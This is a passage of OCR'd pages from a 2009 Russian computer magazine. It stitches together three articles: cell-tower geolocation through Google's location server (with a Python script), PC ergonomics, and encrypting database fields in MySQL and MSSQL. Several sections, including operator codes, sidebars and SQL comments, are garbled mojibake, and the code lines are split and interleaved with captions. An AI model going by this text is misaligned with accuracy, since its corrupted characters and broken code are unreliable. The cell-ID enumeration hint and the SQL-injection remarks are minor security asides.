станции: MCC, MNC, LAC и CellID.<br />

MCC — êîä ñòðàíû (äëÿ Ðîññèè — 250)<br />

MNC — êîä ñåòè (ÌÒÑ — 01, Ìåãàôîí — 02, Áèëàéí —<br />

99 è ò.ï.)<br />

LAC — êîä ëîêàëüíîé çîíû (äðóãèìè ñëîâàìè,<br />

ñîâîêóïíîñòè áàçîâûõ ñòàíöèé, îáñëóæèâàåìûõ<br />

îäíèì êîíòðîëëåðîì)<br />

CellID (CID) — èäåíòèôèêàòîð, ñîñòîèò èç íîìåðîâ<br />

áàçîâîé ñòàíöèè è ñåêòîðà<br />

Зная, куда посылать данные, осталось эти значения<br />

получить! Наиболее простой способ — прямо в программе<br />

Google Maps перейти в «Справку», там щелкнуть «Общие<br />

сведения», и в самом конце этой странички будет строка<br />

с параметрами в формате myl:MCC:MNC:LAC:CellID. Куда<br />

больший простор для деятельности предоставляют специальные<br />

программы netmonitor’ы: с их помощью можно<br />

логировать параметры при переключении от одной станции<br />

к другой, извлекать параметры «соседей» (находящихся<br />

в поле зрения других БС), да и просто получать куда<br />

более подробную информацию. Для каждой платформы<br />

есть свои реализации нетмониторов с различными возможностями<br />

— ты можешь выбрать программу под себя,<br />

почитав врезку.<br />

Теперь, когда все необходимые параметры получены,<br />

можно обратиться на сервер и попробовать получить ответ.<br />

Приведу для этого несложный скрипт на Python’е, который<br />

написал наш соотечественник Skvo и опубликовал на форуме<br />

forum.netmonitor.ru:<br />

net, cid, lac = 25002, 9164, 4000<br />

import urllib<br />

a = ‘000E00000000000000000000000000001B000000<br />

0000000000000000030000’<br />

b = hex(cid)[2:].zfill(8) + hex(lac)[2:].<br />

zfill(8)<br />

c = hex(divmod(net,100)[1])[2:].zfill(8) +<br />

hex(divmod(net,100)[0])[2:].zfill(8)<br />

string = (a + b + c + ‘FFFFFFFF00000000’).<br />

decode('hex')<br />

try:<br />

data = urllib.urlopen('http://www.google.<br />

com/glm/mmap',string)<br />

r = data.read().encode('hex')<br />

if len(r) > 14:<br />

print float(int(r[14:22],16))/1000000,<br />

float(int(r[22:30],16))/1000000<br />

else:<br />

NetMonitor для Symbian<br />

показывает нужные<br />

нам параметры базовой<br />

станции<br />

print 'no data in google'<br />

except:<br />

print ‘connect error’<br />

Навигация через Wi-Fi: на<br />

карте обозначены такие же<br />

пользователи<br />

Для запуска, естественно, потребуется интерпретатор<br />

Python’а (обязательно 2-й ветки, потому как на 3-й не<br />

запустится), который можно скачать с сайта http://python.<br />

org/download/releases. В первой строке скрипта, как<br />

несложно догадаться, необходимо подставить NET (MCC и<br />

MNC, написанные слитно), CID, LAC. В результате скрипт<br />

сформирует запрос на сервер http://www.google.com/<br />

glm/mmap и отправит его. Если базовая станция с этими<br />

параметрами есть в базе, то на экран выведутся координаты,<br />

например, «59.200274 39.836925». В противном случае<br />

скрипт выдаст ошибку: «no data in google». Любителям<br />

программировать не составит труда добавить пару строчек,<br />

например, по указанным NET и LAC перебрать все<br />

варианты CID (от 1 до 65536), и, посмотрев, какие сектора<br />

имеются у Гугла, узнать их примерные координаты. Если<br />

тебе неохота морочить голову скриптами, на наш диск мы<br />

выложили GUI-программу, написанную на C# (исходники<br />

прилагаются). В этом случае ты автоматически получишь<br />

еще и ссылку, отображающую координаты на сайте Google<br />

Maps. Ссылки на реализации на других языках смотри в<br />

боковом выносе. Интересно, что на сервер передаются<br />

всего лишь три параметра, причем ключевыми являются<br />

только значения LAC и CellID. А MCC/MNC необходимы на<br />

тот случай, если в базе есть несколько пар с одинаковыми<br />

LAC, CellID. При этом телефон может получать намного<br />

больше информации о текущей станции — взять хотя бы<br />

мощность сигнала, однако эти параметры в расчетах не<br />

используются. Получается крайне простой алгоритм. Один<br />

сектор — одна координата; независимо от того, находится<br />

ли пользователь в 100 метрах от базовой станции или в<br />

километре от нее, координата будет одинаковая!<br />

Отдельно хочу сказать, что замечательный проект «Яндекс.<br />

Карты», который я особенно люблю за возможность отображения<br />

точек, имеет точно такой же функционал. И ровно так<br />

же, как и Google, предоставляет своей программе данные о<br />

точке по запросу с указанием Cell ID, LAC, NET параметров:<br />

http://mobile.maps.yandex.net/cellid_locati<br />

on/?&cellid=%d&operatorid=%d&countrycode=%d<br />

&lac=%d<br />

Единственное отличие в том, что ответ сервис «Яндекса»<br />

возвращает в XML-формате, который легко и удобно парсится<br />

для извлечения любых параметров.<br />

028<br />

XÀÊÅÐ 04 /124/ 09


pc_zone<br />

Если данные о БС есть у Google, то сервер возвращает ее координаты<br />

КАК ЗАСТАВИТЬ РАБОТАТЬ НАВИГАЦИОННЫЕ ПРОГРАММЫ<br />

Какой бы замечательной ни была программа Google Maps, использовать<br />

ее в качестве навигационного инструмента, мягко говоря, затруднительно.<br />

Было бы здорово, пускай и примерные, но все-таки координаты<br />

скормить нормальной программе навигации, с хорошими картами,<br />

подробной адресацией и проработанными алгоритмами прокладки маршрута.<br />

Некоторые программы, например, «Навител» и «Автоспутник»<br />

имеют еще один плюс: они умеют подгружать информацию о пробках и<br />

учитывать ее при составлении маршрута. Чисто теоретически, ничего не<br />

стоит написать подобное приложение самому. Алгоритм прост:<br />

1. Получаем текущие координаты при каждой смене базовой станции;<br />

2. Отправляя запрос на спутник, получаем примерные координаты;<br />

3. Эмулируем в системе последовательный порт и в простом формате NMEA,<br />

который используют GPS-навигаторы, транслируем туда текущие координаты.<br />

Именно этот принцип лежит в программе VirtualGPS (www.kamlex.com),<br />

предназначенной для устройств на платформе Windows Mobile 2003, WM<br />

5, WM 6, WM 6.1. Бесплатная lite-версия программы определяет текущее<br />

расположение по вышкам сотовой связи и эмулирует GPS. После запуска<br />

прога создает в системе новый порт, который нужно указать в настройках<br />

любимой навигационной программы — и та, ничего не подозревая, будет<br />

считать, что подключена к настоящему GPS-приемнику.<br />

НА ЧТО СПОСОБЕН WI-FI<br />

Будучи раздосадован тем, что большинство WiFi-точке в городе либо<br />

закрыты, либо платные, подумай о том, что и им можно найти применение.<br />

Полагаю, не надо говорить для чего :). Принцип точно такой же:<br />

определив все точки доступа поблизости, отправляем информацию<br />

о MAC-адресах (добавляя при желании идентификатор сети SSID) на<br />

специальный сервис. Тот проверяет их координаты и выдает тебе твое<br />

примерное расположение. Такая технология давно функционирует в<br />

Штатах, где покрытие Wi-Fi зашкаливает настолько, что скрыться от него<br />

уже, похоже, негде. WPS (Wi-Fi Positioning System) предоставляет компания<br />

SKYHOOK Wireless (www.skyhookwireless.com), разработавшая<br />

клиентские приложения для разных платформ и собрав первоначальную<br />

базу с точками доступа. Быстро появились и альтернативные приложения,<br />

которые, используя API-сервиса, получают координаты пользователя.<br />

Среди них — замечательный плагин для Firefox’а Geode (http://<br />

labs.mozilla.com/geode_welcome), который подставляет информацию<br />

о текущем местоположении на любом веб-сайте (во время создания<br />

нового поста в блог, например).<br />

Ïðîãðàììû<br />

NetMonitor<br />

×òîáû ïîíèìàòü, êàêóþ áàçîâóþ ñòàíöèþ òåëåôîí èñïîëüçóåò â<br />

òåêóùèé ìîìåíò, è ïîëó÷èòü åå ïàðàìåòðû, ïîíàäîáÿòñÿ ñïåöèàëüíûå<br />

ïðîãðàììû. Ê ñîæàëåíèþ, óíèâåðñàëüíîé ïðîãðàììû<br />

íåò, ïîýòîìó äëÿ êàæäîé ïëàòôîðìû ïðèäåòñÿ íàéòè ïîäõîäÿùèé<br />

èíñòðóìåíò!<br />

Symbian: FieldTest, CellTrack, Best GSMNavigator<br />

Windows Mobile 2005: GPS Cell<br />

Windows Mobile 5.0/6.0: NetMonitor32, WMCellCatcher,<br />

CellProfileSwitcher (çàìå÷ó, ÷òî íå âñå ïðîãðàììû ðàáîòàþò ñî<br />

âñåìè ðàäèî-ïðîøèâêàìè)<br />

XÀÊÅÐ 04 /124/ 09<br />

Определяем месторасположение<br />

в<br />

Google Maps<br />

Увы, в России хоть как-то заставить работать SKYHOOK мне так и не<br />

удалось. Зато наши соотечественники вплотную взялись за реализацию<br />

подобной идеи, воплотив в жизнь сервис Wi2Geo (wi2geo.ru), который<br />

мне почему-то очень хочется назвать Wi2Go :). Ребята уже сейчас предоставляют<br />

приложения для Windows Mobile, Symbian, Windows и Mac OS<br />

X, а для навигации используют базу IP-адресов, информацию о ячейках<br />

GSM и, собственно, точках доступа Wi-Fi. Базы никому не запрещено использовать<br />

в своих целях, воспользовавшись открытым API (http://labs.<br />

wi2geo.ru/basicapi.php). Огорчает только, что проект будет развиваться<br />

только в тех городах, где большое покрытие Wi-Fi. А таковым пока можно<br />

назвать только Москву.<br />

А КАК ЖЕ ТРЕКИНГ?<br />

Функция «Локатор»<br />

позволяет в реальном<br />

времени отслеживать,<br />

где находятся твои<br />

друзья<br />

Клиентская часть<br />

трекера, которая<br />

отсылает текущие<br />

координаты девайса<br />

на специальный вебсервер<br />

Выше мы говорили о трекинге пользователя — системе, позволяющей<br />

в реальном времени отследить положение пользователя на карте.<br />

Неплохо, если бы подобную штуку установили на свои телефоны все<br />

друзья. Тогда ничего бы не стоило узнать, кто где, и при необходимости<br />

— договориться о встрече. Ребята из Google реализовали это в функции<br />

Google Latitude, с недавнего времени доступной опять же пользователям<br />

мобильных Google Maps. К сожалению, через браузер просмотреть<br />

расположение друзей можно только в Штатах, но ведь ничего не мешает<br />

использовать американский прокси?<br />

Есть и другой вариант. На сайте http://forum.xda-developers.com/<br />

showthread.php?t=340667 совершенно бесплатно можно скачать специальную<br />

программу для трекинга, клиентская часть которой устанавливается<br />

на коммуникатор на базе WM, а серверная — на любой веб-сервер.<br />

Далее положение объекта можно просмотреть через программу Google<br />

Earth. Реально работающее решение для бизнеса, которое с учетом<br />

открытых исходников несложно доработать под себя! z<br />

Î áàçîâûõ ñòàíöèÿõ<br />

ñîòîâûõ ñåòåé<br />

 ñòàòüå ÿ óïîìèíàë î íåîôèöèàëüíûõ áàçàõ äàííûõ ñ ðàñïîëîæåíèåì<br />

âûøåê ðàçëè÷íûõ ñîòîâûõ ñåòåé.  èíòåðíåòå ñóùåñòâóåò<br />

íåìàëî ïðîåêòîâ, ãäå ýíòóçèàñòû äåëÿòñÿ ñîáðàííîé íåòìîíèòîðàìè<br />

èíôîðìàöèåé. Èç èíîñòðàííûõ ýòî — celldb.org/aboutapi.<br />

php, www.opencellid.org/api, http://gsmloc.org/code, cellid.telin.<br />

nl. Êàæäûé èç íèõ èìååò ïðîñòîé API äëÿ ïîëó÷åíèÿ êîîðäèíàò ñ<br />

ïîìîùüþ îáû÷íîãî HTTP-çàïðîñà, ïðè ýòîì â êà÷åñòâå ïàðàìåòðîâ<br />

óêàçûâàþòñÿ òðàäèöèîííûå MCC, MNC, Cell ID è LAC.<br />

Îòäåëüíî õî÷ó óïîìÿíóòü íàø ðóññêèé ïðîåêò Netmonitor.ru, â<br />

êîòîðîì ñîáðàíà èíôà î áîëüøîì êîëè÷åñòâà ÁÑ Ìåãàôîíà, ÌÒÑ,<br />

Áèëàéíà, ÒÅËÅ2 è äàæå Skylink. Ê òîìó æå, íà ñàéòå ðàñïîëàãàåòñÿ<br />

åùå è êðóïíåéøèé ôîðóì äëÿ èññëåäîâàòåëåé ñîòîâûõ ñåòåé.<br />

029


pc_zone<br />

1) Укажи свой рост:<br />

152 155 157 160 163 165 168 170 173 175 178 180 183 185 188 191<br />

50-75 cм.<br />

Твой рост<br />

178 cм.<br />

Уровень глаз при<br />

работе стоя<br />

Уровень<br />

глаз<br />

124 см.<br />

10 0 - 20 0<br />

166 см.<br />

Расположения<br />

логтей<br />

109 см.<br />

Высота<br />

кресла<br />

44 см.<br />

Уровень<br />

логтей<br />

67 см.<br />

2) А теперь обустрой свое рабочее место<br />

в соответствии с требованиями<br />

ВИТАЛИЙ ТРАВИН<br />

За своим рабочим<br />

место люди<br />

зачастую проводят<br />

большую часть<br />

дня. Самое время<br />

задуматься об эргономике<br />

/ VITYA31@MAIL.RU/<br />

КОГДА<br />

ТЫ СТАНЕШЬ СЛЕПЫМ<br />

Это только сейчас кажется, что здоровье будет всегда.<br />

Если продолжать пялиться в старый монитор 18 часов в сутки, сидя на<br />

кухонной табуретке и пожевывая гамбургер, здоровью рано или поздно<br />

придет конец! И это я тебе точно говорю.<br />

>> pc_zone<br />

Перспективы не самые радужные, правда?<br />

С работой в IT нереально избавиться от<br />

сидячего образа жизни перед компьютером,<br />

но можно постараться свести последствия к<br />

минимуму.<br />

Вот тебе три совета, как не стать больным и<br />

слепым гиком, у которого есть ответ на любой<br />

вопрос по ядру Windows, но нет элементарного<br />

здоровья.<br />

СДЕЛАЙ ПАУЗУ — СКУШАЙ ТВИКС<br />

Кистевой туннельный синдром запястья,<br />

искривление позвоночника, боли в шее, лишний<br />

вес и многое другое — вот угрозы для тех, кто<br />

слишком много работает за компьютером. Ну,<br />

или не работает — это уж кому как повезет. В<br />

любом случае, увлекшись реверсингом или<br />

иным интересным занятием, можно залипнуть<br />

на несколько часов и оставаться при этом почти<br />

неподвижным. Так, как же быть? Брать себе личного<br />

ассистента в лице утилиты Workrave (http://<br />

www.workrave.org/welcome), которая будет<br />

следить за тем, чтобы ты не перетрудился! Более<br />

того — силой заставит делать небольшие паузы<br />

и выполнять зарядку для разных частей тела. И<br />

понятно, что ты знать не знаешь, как эту самую<br />

зарядку делать. Тулза сама покажет, как размять<br />

те части тела, которые попадают в область риска.<br />

030<br />

XÀÊÅÐ 04 /124/ 09


pc_zone<br />

Смена тонов монитора в зависимости от времени<br />

суток заметно снижает усталость глаз<br />

Смена тонов монитора в зависимости от<br />

времени суток заметно снижает усталость<br />

глаз<br />

Workrave не даст заработаться и заставит<br />

сделать паузу<br />

Внешне прога — небольшое окошко с<br />

таймерами. Первый таймер — это время,<br />

через которое нужно просто пол минуты<br />

передохнуть (микропауза). Второй — сколько<br />

осталось до 10-минутного перерыва<br />

(обычно он раз в час). И третий — остаток<br />

общего рабочего времени. На перерывах<br />

можно сделать упражнения для кистей рук и<br />

пальцев, для глаз, плеч и шеи. Само собой,<br />

работа работе рознь. И один может ходить<br />

пить чай хоть раз в полчаса, а у другого, дай<br />

Бог, выпадет лишняя минутка, чтобы сгонять<br />

по нужде. Поэтому временные интервалы<br />

нужно настроить по своему усмотрению. По<br />

себе знаю: когда сильно занят, на все эти<br />

предупреждения, симпатичные окошки и<br />

громкие фразы — становится просто положить.<br />

Получается, что, потратив усилия на<br />

настройку подобных игрушек, потом перестаешь<br />

их замечать. Но Workrave игнорировать<br />

себя не даст! В конфиге можно задать,<br />

разрешается ли откладывать паузы или нет.<br />

В самых тяжелых случаях доступна опция<br />

«Блокировать компьютер». И тут уж ничего<br />

не поделаешь: либо зарядка, либо ребут :).<br />

Если уже просчитал варианты и, хихикая,<br />

собираешься переключиться на стоящий<br />

рядом ноутбук, знай: ничего не выйдет.<br />

Прогу можно установить на несколько компьютеров<br />

сразу (хоть под линуксом, хоть<br />

под Виндой) и синхронизировать время для<br />

упражнений.<br />

СИДЕТЬ НАДО ПРАВИЛЬНО<br />

Рабочее место нужно подогнать под себя.<br />

Глупо отказывать себе в хорошем кресле, раз<br />

проводишь на нем большую часть дня. Для оптимального<br />

расположения рук, монитора и глаз<br />

применяются специальные способы расчета,<br />

но это полный изврат. Зато можно просчитать<br />

такие параметры через веб-сервис Workspace<br />

Planner (internalapps.ergotron.com/MirWebTool/<br />

ergoTool_metric.html) и постараться учитывать<br />

их, обустраивая рабочее место. Все расчеты<br />

базируются на исследованиях еще 1988 года, но<br />

повода им не верить нет. Кстати: все расчеты по<br />

умолчанию осуществляются в дюймах, но если<br />

присмотреться (надеюсь, со зрением, у тебя еще<br />

все в порядке?), то можно найти ссылку для перевода<br />

в метрические система исчисления.<br />

И не забудь общие правила: верхняя часть<br />

монитора должна располагаться на уровне<br />

глаз, а клавиатура по высоте должна быть на<br />

уровне локтей.<br />

СПАСИ ГЛАЗА<br />

Неправильное расположение экрана монитора,<br />

маленький шрифт, слишком светлый<br />

или темный экран — основные причины<br />

хронической головной боли у гиков. Обижаясь<br />

на родителей в детстве, ты, вероятно, не мог<br />

понять, почему нельзя смотреть телевизор в<br />

темноте. Светло, темно — какая, блин, разница?<br />

На самом деле, разница есть! Мало кому<br />

надо объяснять, как начинает резать глаза<br />

после нескольких часов перед монитором в<br />

темноте. Самый верный способ помочь себе —<br />

пойти спать, послав все дела куда подальше.<br />

Здоровье-то дороже. Знаю-знаю: сроки горят,<br />

заказчики что-то требуют, а завтра уже надо<br />

показать полурабочий вариант новой программы<br />

боссу. Облегчить страдания способна<br />

f.lux (www.stereopsis.com/flux). Программа<br />

просто изменяет цветовой профиль монитора<br />

в зависимости от времени суток. Ночью глаза<br />

меньше устают от теплых цветовых тонов,<br />

днем — от ярких и холодных. Могу сказать по<br />

собственному опыту: штука реально работает!<br />

О подобной утилите я задумался, когда увидел,<br />

что некоторые макбуки сами умеют регулировать<br />

подсветку монитора в зависимости от<br />

освещения (определяется встроенной камерой<br />

или сенсорами в зависимости от модели).<br />

Казалось бы, такая ерунда, а помогает очень<br />

здорово. У f.lux никаких сенсоров нет, поэтому<br />

освещенность она может просчитывать по<br />

времени суток: для этого в настройках указываются<br />

координаты твоего местоположения.<br />

А чтобы ты не лез в справочники или Google,<br />

тут же доступна ссылка на удобную страничку<br />

для поиска координат. Версии программы<br />

есть как для Windows, так Linux и Mac OS X.<br />

Глазам необходим отдых. Причем — каждые<br />

40-50 минут. Врачами рекомендуется целый<br />

ряд методик и упражнений, предназначенных<br />

для отдыха глаз. Более того, разработаны и<br />

любопытные программы, которые напоминают<br />

тебе, когда и какие упражнения нужно делать.<br />

Для примера: посмотри EyesKeeper (www.<br />

gi.ru/eyeskeeper) — русскоязычный «напоминатель».<br />

В нем приведены упражнения для<br />

отдыха глаз, разработанные специалистами<br />

НИИ гигиены зрения. Использовать все это<br />

или нет — дело твое. Можно забить и тихо надеяться,<br />

что в век генной инженерии, клонов<br />

и нано-технологий можно будет безвозмездно<br />

скачать себе новую спину из интернета, а глаза<br />

пофиксить патчем. Но мы бы рассчитывать<br />

на это не стали :). z<br />

XÀÊÅÐ 04 /124/ 09<br />

021


pc_zone<br />

БАЗА<br />

ДАННЫХ<br />

1C<br />

ЗАПРОС<br />

ЗАШИФРОВАННОГО<br />

ОБЪЕКТА<br />

Запрос<br />

с проверкой прав<br />

ЗАПРОС ЗАШИФРОВАННОГО ОБЪЕКТА<br />

АВТОРИЗИРОВАННЫМ ПОЛЬЗОВАТЕЛЕМ<br />

И ХАКЕРОМ В СЛУЧАЕ ПРИМЕНЕНИЯ<br />

ШИФРОВАНИЯ<br />

Запрос<br />

данных<br />

Расшифрованные<br />

данные<br />

Расшифрованные данные<br />

с помощью<br />

ключа пользователя 1С<br />

БАЗА<br />

ДАННЫХ<br />

CRYPTO<br />

БАЗА<br />

ДАННЫХ<br />

1C<br />

ЗАПРОС<br />

ЗАШИФРОВАННОГО ОБЪЕКТА<br />

ЗЛОУМЫШЛЕННИКОМ<br />

Прав<br />

доступа нет<br />

Пользователь 1С<br />

Запрос<br />

данных<br />

Возврат пустого<br />

значения<br />

БАЗА<br />

ДАННЫХ<br />

CRYPTO<br />

Возврат пустого<br />

значения<br />

АНДРЕЙ КОМАРОВ<br />

/ KOMAROV@ITDEFENCE.RU /<br />

Злоумышленник<br />

БАЗУ ДАННЫХ<br />

НЕ СТАЩИТЬ!<br />

Правильные способы защитить данные в таблицах БД<br />

Как же ошибаются те люди, которые доверяют защиту данных исключительно<br />

самой СУБД. Мол, если пароль на подключение хороший и<br />

версия демона — самая последняя, то все будет нормально. Ничего<br />

подобного. Базы как сливали, так и будут сливать. А наша задача —<br />

сделать их нечитаемыми для тех, кому они не предназначены.<br />

>> pc_zone<br />

Актуальная проблема из мира информационной<br />

безопасности — обеспечить сохранность<br />

данных. Есть ситуации, в которых<br />

даже при наличии серьезной защиты системы,<br />

сохранность данных оказывается под<br />

большим вопросом. Как так? Могу привести<br />

пример из личного опыта, когда в разглашении<br />

информации был виновен засланный<br />

сотрудник конкурирующей компании. Находясь<br />

на рабочем местом и будучи технически<br />

подкованным, он взламывал сервера баз<br />

данных банальным брутфорсом через терминальное<br />

соединение. Базы с клиентами<br />

«засланец» перепродавал другим компаниям,<br />

а «интересная» информация о ведении<br />

бизнеса отправлялась сотрудникам силовых<br />

структур. Что из этого вышло, объяснять излишне.<br />

Вообще, имея физический доступ к<br />

локальной сети, инсайдер мог поступить гораздо<br />

проще: атаковать программу, которая<br />

работает с базой данных. Нередко сценарий<br />

взлома сводится к тому, что из программы<br />

разными способами извлекаются конфиги<br />

для подключения к базе. Захватив ту же 1С,<br />

032<br />

XÀÊÅÐ 04 /124/ 09


pc_zone<br />

которая хранит в себе конфиги подключения<br />

к базе (в том числе, шифрованный обычным<br />

XOR’ом пароль), злоумышленник получает<br />

доступ к самой базе. Особо не стесняясь,<br />

он может ее выкачать, модифицировать<br />

или просто удалить. Такая брешь в защите<br />

способна сыграть злую шутку, особенно в<br />

корпоративной среде.<br />

В статье я как раз хочу рассказать о том,<br />

как обезопасить информацию в обычной<br />

базе данных. Даже если СУБД будет взломана<br />

или левый человек скопирует данные,<br />

утечки конфиденциальной информации не<br />

произойдет!<br />

ШИФРОВАНИЮ — БЫТЬ!<br />

Общий подход прост до гениального: раз<br />

злоумышленник гипотетически сможет<br />

извлечь данные, надо сделать так, чтобы<br />

он их не смог прочитать. Информацию<br />

все равно придется хранить в базе, но…<br />

ничего не мешает хранить ее в каком<br />

угодно виде, в том числе зашифрованном!<br />

Главное, чтобы мы сами потом смогли<br />

расшифровать :). Компания Spelabs<br />

(spellabs.ru/spellabsCrypto1C.htm) как-то<br />

анонсировала продукт, организующий<br />

дополнительную безопасность бухгалтерских<br />

1С на уровне шифрования данных,<br />

причем на полностью прозрачном уровне.<br />

Пользовательские приложения, не подозревая<br />

о надстройке, работали в обычном<br />

режиме. Увы, компания прекратила разработку<br />

этого направления. Но реально<br />

обойтись и без подобных инструментов,<br />

ведь для шифрования сгодятся даже штатные<br />

средства СУБД!<br />

Любая современная СУБД, если это, конечно,<br />

не собранная на коленке курсовая, может<br />

похвастаться достаточно надежными механизмами<br />

шифрования данных. В той же<br />

самой MySQL я по памяти насчитал около<br />

14 соответствующих функций, которые тебе<br />

наверняка хорошо известны:<br />

AES_ENCRYPT() Øèôðîâàíèå AES<br />

AES_DECRYPT() Ðàñøèôðîâêà AES<br />

COMPRESS() Âîçâðàùåíèå ðåçóëüòàòà<br />

â áèíàðíîì âèäå<br />

DES_ENCRYPT() Øèôðîâàíèå DES<br />

DES_DECRYPT() Äåøèôðîâàíèå DES<br />

ENCODE() Øèôðîâàíèå ñòðîêè<br />

ïîâåðõíîñòíûì ïàðîëåì (íà âûõîäå<br />

ïîëó÷àåòñÿ øèôðîâàííîå ñëîâî ïåðâîíà÷àëüíîé<br />

«plaintext» äëèíû)<br />

DECODE() Ðàñøèôðîâêà òåêñòà,<br />

îáðàáîòàííîãî ôóíêöèåé ENCODE()<br />

ENCRYPT() Øèôðîâàíèå ñ ïîìîùüþ<br />

Unix’îâîãî ñèñòåìíîãî âûçîâà crypt<br />

MD5()<br />

Ïîäñ÷åò MD-5 ñóììû<br />

SHA1(), SHA() Ïîäñ÷åò SHA-1 (160-<br />

áèò)<br />

Для их применения надо лишь чуть изменить<br />

свои SQL-запросы, добавив в нужном<br />

месте функции AES_ENCRYPT() или<br />

XÀÊÅÐ 04 /124/ 09<br />

DES_ENCRYPT(), которые считаются наиболее<br />

надежными в MySQL на текущий момент.<br />

Например, так:<br />

INSERT INTO t VALUES (1,AES_<br />

ENCRYPT('text','password'));<br />

Приятно признать, что хорошие программисты<br />

эти функции используют. Часто во время<br />

проведения SQL-инжекции мне приходилось<br />

ломать голову и определять функцию,<br />

которую использовал кодер для крипточки<br />

данных. В результате, требуется производить<br />

те же AES_DECRYPT(AES_ENCRYPT()) наряду<br />

с unhex(hex()).<br />

T-SQL<br />

Помимо симметричного шифрования, когда<br />

упаковка и распаковка текста производятся<br />

одним и тем же ключом (общим для двух<br />

участников обмена сообщениями), поддерживается<br />

и ассиметричное криптование. Идея<br />

ассиметричных алгоритмов подразумевает<br />

наличие двух ключей — открытого и закрытого<br />

(секретного). Один из них используется<br />

для шифрования информации, а другой —<br />

для дешифрования. Если кодирование осуществляется<br />

с помощью открытого ключа, то<br />

расшифровать такие данные можно только с<br />

помощью парного ему закрытого. Предлагаю<br />

разобраться с этим на примере Microsoft<br />

SQL Server, который часто используется в<br />

корпоративных порталах и сложных приложениях.<br />

Для шифрования применяются<br />

функции T-SQL, представляющие собой<br />

специальное дополнение языка SQL. Оно<br />

поддерживает управляющие операторы,<br />

локальные переменные и различные дополнительные<br />

функции. Одна из таких функций<br />

— EncryptByCert(), используемая для ассиметричного<br />

шифрования данных с помощью<br />

сертификатов. Открытым ключом тут выступает<br />

сертификат. Только откуда этот сертификат<br />

взять? Ответ прост — сгенерировать с помощью<br />

другой специальной функции. Покажу<br />

на примере, как можно сгенерировать сертификат<br />

с именем для andrej базы «Bank» с<br />

помощью хранимой процедуры:<br />

USE Bank;<br />

CREATE CERTIFICATE andrej<br />

ENCRYPTION BY PASSWORD =<br />

'pGFD4bb925DGvbd2439587y'<br />

# Äëÿ ãåíåðàöèè ñ èñïîëüçîâàíèåì<br />

ïîäãðóçêè èç ôàéëà<br />

# FROM FILE = 'c:\Shipping\Certs\<br />

Shipping11.cer'<br />

# WITH PRIVATE KEY (FILE = 'c:\<br />

Shipping\Certs\Shipping11.pvk',<br />

WITH SUBJECT = 'Employers<br />

Access',<br />

EXPIRY_DATE = '10/31/2009';<br />

GO<br />

У нас создался сертификат! Теперь его можно<br />

без проблем использовать для размещения в<br />

таблице зашифрованных записей, выполняя<br />

привычные SQL-запросы:<br />

INSERT INTO [ÁÀÇÀ].[ÒÀÁËÈÖÀ]<br />

values( N'ÄÀÍÍÛÅ ÄËß ÇÀØÈÔÐÎÂÊÈ',<br />

EncryptByCert(Cert_ID('andrej'),<br />

@cleartext) );<br />

GO<br />

В этом примере неформатированный текст<br />

из переменной @cleartext шифруется сертификатом<br />

с именем «andrej». Зашифрованные<br />

данные помещаются в таблицу «ТАБЛИЦА».<br />

Уточню, что данные могут быть расшифрованы<br />

только с помощью соответствующего<br />

закрытого ключа (как уже было сказано,<br />

«приватного»).<br />

Имя функции для обратного преобразования<br />

угадать несложно: DecryptByCert().<br />

А вот синтаксис более хитер, и с ним все<br />

чуть сложнее. Дело в том, что на приватный<br />

ключ, как правило, закладывается<br />

дополнительный пароль (passphrase). Его<br />

необходимо ввести, и по этой причине он<br />

обязательно будет присутствовать в коде<br />

запроса или процедуры. Это не очень хорошо,<br />

потому что его можно быстро увести. Но<br />

с этим мы разберемся позже, когда поговорим<br />

о безопасности хранимых процедур.<br />

А пока — код для извлечения данных из<br />

шифрованной БД:<br />

SELECT convert(nvarchar(max),<br />

DecryptByCert(Cert_Id('andrej'),<br />

ProtectedData,<br />

N'pGFD4bb925DGvbd2439587y'))<br />

FROM [ÁÀÇÀ].[ÒÀÁËÈÖÀ]<br />

WHERE Description<br />

= N’Employers Access’;<br />

GO<br />

В этом примере производится выборка<br />

строк из таблицы [БАЗА].[ТАБЛИЦА],<br />

помеченных как «Employers Access».<br />

Пример дешифрует зашифрованный<br />

текст с помощью закрытого ключа сертификата<br />

«Andrej» и дополнительного<br />

пароля pGFD4bb925DGvbd2439587y.<br />

Расшифрованные данные преобразуются<br />

из типа varbinary в тип nvarchar.<br />

Надо сказать, что ассиметричные преобразования<br />

гораздо более накладны,<br />

чем шифрование и дешифрование с<br />

использованием симметричного ключа.<br />

Поэтому использование ассиметричного<br />

шифрования не рекомендуется при работе<br />

с большими объемами данных, например,<br />

таблицами пользовательских данных. Это<br />

важно учитывать при особо больших базах,<br />

а также базах, структура которых не приведена<br />

к одной из нормальных форм.<br />

ПРЯЧЕМ ХРАНИМЫЕ ПРОЦЕДУРЫ!<br />

Если ты не заметил, многое упирается в<br />

то, что вся конфиденциальность и целостность<br />

завязана на использование хранимых<br />

033


pc_zone<br />

info<br />

• Не забывай о<br />

самых простых истинах<br />

традиционной<br />

криптографии:<br />

• Чем более накручен<br />

алгоритм шифрования,<br />

тем больше<br />

ресурсов процессора<br />

он будет кушать;<br />

• Ассиметричная<br />

криптография<br />

обеспечивает более<br />

надежную защиту,<br />

чем симметричная<br />

(даже с ключами<br />

одинаковой длины),<br />

но ее исполнение в<br />

базах может ощутимо<br />

замедлить весь процесс<br />

работы;<br />

Вместо кода процедуры — сплошные знаки вопроса. Взломщик в обломе<br />

• Действия по<br />

шифрованию базы<br />

напрямую связаны<br />

с модификацией<br />

обращений клиента.<br />

Увы, возможность<br />

«прозрачного»<br />

шифрования базы на<br />

сегодняшний день<br />

существует только в<br />

MSSQL 2008 (в версии<br />

Enterprise). Эта<br />

функция именуется<br />

там TDE (Transparant<br />

Database Encryption).<br />

процедур или функций. Получается, что, получив к ним<br />

доступ и грамотно проанализировав их код, любой<br />

опытный хакер сможет преобразовать шифрованную<br />

белиберду в исходный текст. Конечно, добраться до<br />

кода процедур далеко не всегда реально, потому здесь<br />

всплывает вопрос об утечке программной начинки<br />

производства, а именно — логике ПО. Но именно по<br />

этой причине необходимо прибегать к шифрованию<br />

процедур и функций в базе. Одно из самых популярных<br />

и удачных средств для таких действий — это программа<br />

SQL Shield (www.sql-shield.com). После несложной<br />

установки приложения не забудь указывать дополнительный<br />

флаг /*sqlshield*/ с выражением «WITH<br />

ENCRYPTION» всякий раз, когда будешь создавать<br />

защищенную процедуру. Вот пример функции, которая<br />

исполняет простейший запрос к базе:<br />

CREATE PROCEDURE MyTest<br />

WITH /*sqlshield*/ ENCRYPTION<br />

AS<br />

SELECT 2+2<br />

Исполняем процедуру и получаем:<br />

MyTest<br />

> 4<br />

